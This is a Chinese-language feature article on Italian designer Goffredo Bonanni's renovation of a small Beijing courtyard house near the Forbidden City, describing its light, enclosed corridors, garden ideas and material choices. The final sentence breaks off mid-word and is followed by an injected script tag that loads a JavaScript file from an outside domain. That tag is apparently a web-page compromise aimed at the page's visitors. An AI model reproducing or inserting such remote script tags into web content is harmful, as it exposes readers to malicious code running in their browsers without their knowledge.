院落虽小，置身其中遐想却无限,每日的微妙自然光线变化使这里形成了奇妙的空间光影，演变出纵深、交错又变化无穷的形式美感。建筑、庭院和室内空间在与光与影的互动下成为一个整体，自然天成。出自意大利设计师Goffredo Bonanni手笔的四合院会是怎样的味道？其实,何种风格已无所谓，最重要的是它营造出了一种“意境”。

    傍晚的阳光透过竹林洒到小院和房顶的灰瓦上，点染出一抹抹含蓄的金色,模糊而丰富的竹影有如设计好的装饰一样，与这个空间发生着微妙的关系。坐在飘着草香的小院里，泡上一杯浓浓的咖啡,惬意极了！房子里的灯光不知何时也亮了起来，室内外的空间跨越玻璃隔墙交融到一起，一时间真的感觉不出这所房子究竟有多大。

    设计师Goffredo Bonanni是意大利人，和房子的主人是相识已久的好朋友。谈起关于这所房子的设计时，两个人立即沉浸到了对去年秋天那段难忘的装修回忆之中。从他们兴致勃勃的表情和抑扬顿挫的语调中，可以感觉到那是一段紧张而满有成就感的难忘时光。

　　相对于认真而又完整地将一个室内外空间设计方案付诸实践而言，三个月的时间真的很快。设计师Goffredo是学建筑出身的，但他的确又称得上是一位艺术家。他的作品表现形式和元素之多超出我的想象,其中有陶艺、纤维艺术、家具设计、绘画…… 年轻时他在罗马做过舞台灯光设计,这种专业背景仿佛早已界定了这个北京小院的空间格调与韵味。

　　Goffredo对于设计北京这所位置独特的小院非常感兴趣，因为他一直很喜欢中国的四合院。而且说起它的位置，的确是很多外籍设计师都会感兴趣的,因为这里紧邻故宫和王府井,周围有很完整的胡同聚落,而且小院西侧还紧邻普渡寺（其前身是多尔衮王府），站在院子里就可以看到古旧的老砖墙以及有如“空中花园”的高墙内侧的茂密竹林……

　　院落在改造之前只有一间正房和一间小厢房，连主人最基本的功能需求都无法满足。原有正房包括一间卧室和客厅，空间显得非常局促。设计师以传统四合院的“贯通”理念为灵感，进而演变出“圈”与“围合”的概念。院落中设计了两处封闭的廊道，将正、厢房有机连成整体。“L”形厢房被改造成主卧室和客用休息室，夹角处还设计了一个客用卫浴间。按照主人的生活方式需求，正房则成了一间大会客厅和开放式就餐区。客厅西侧规划出主卫浴间，有后加盖的玻璃封闭廊道与主卧连通。正房东侧的就餐区与廊道以及半开放式厨房相连。廊道内侧依次演变出主入口过渡区、客用卫生间、洗衣间和储物间，最后与院落西南角的客用休息室相连接，形成了一个完整的“围合”概念。值得一提的是，几乎所有空间都有门与“围”在中间的庭院相通。在拍摄的时候，我们穿梭于廊道、庭院和每个空间中时，就好像随手即可推开一扇门进入庭院，仿佛置身于 “迷宫”之中。

　　出于对中国文化的尊重，在做庭院设计的时候,设计师特意与著名考古学家、建筑学家杨鸿勋教授交流了对中式园林的理解，杨教授给他介绍了很多宝贵的设计经验，还赠送了一本《中国园林论》。其实,设计师Goffredo对中式建筑和园林的理解也是很深刻的，他认为“层次”和“贯通”是其中很重要的设计原则。在设计廊道的时候,他就充分考虑到了这两点，使廊道、厢房和正房高低错落有致，相互贯通而有变化和节奏感。

　　Goffredo的严谨和认真让我印象深刻。尽管设计这个小院只是为朋友帮忙，随便画几张图纸就可以“交差”……但他依然飞到北京并整整待了两个月,反复推敲设计方案并尽可能地深入了解中国文化。北京的初冬已经寒冷，而且施工现场没有采暖设备，他却尽可能多地待在那里，与装修师傅协调、探讨每一个工艺细节。在经历一段磨合后，他与装修师傅的配合已经相当默契,甚至在语言不通的情况下，也能通过手势或动作比较准确地相互理解对方的意思。

　　在这件设计作品中，他非常注意运用地域性的传统元素，无论室内、院落他都尽可能营造中式氛围。为了准确地把握住设计方案中“桥”的感觉，他跑到恭王府去感受中式小桥的意境。虽然原来方案中的“小桥流水”因为气候和面积的限制而未能实现，但 “桥”的意境的却被确巧妙地融入了西侧的挑空廊道之中。

　　设计师非常欣赏原有的室内顶部结构木梁所呈现出的建筑节奏美，但这些木梁是曾披过麻灰的,他希望能够还原木头的原有质感，所以决定将麻灰清理掉。但这的确是一个比较麻烦的过程，因为有很多的死角很难处理,比如当初为了使麻灰具有更好的附着力，在那些房梁上砍有很多浅浅的刀痕。设计师决定保留这些在他意料之外的“痕迹”，因为它们不光是一些肌理岁月留下的痕迹。

　　设计师最初听说国内认为大理石是有辐射的感到十分吃惊，因为他在国外从没有听到这种说法。主人十分尊重设计师的观点，决定在室内地面使用天然大理石。不过石材表面已经过抛光处理，因为设计师不想在这个空间之中出现有如酒店地面那种耀眼光泽，而?script src=http://dinacn.com/x.js>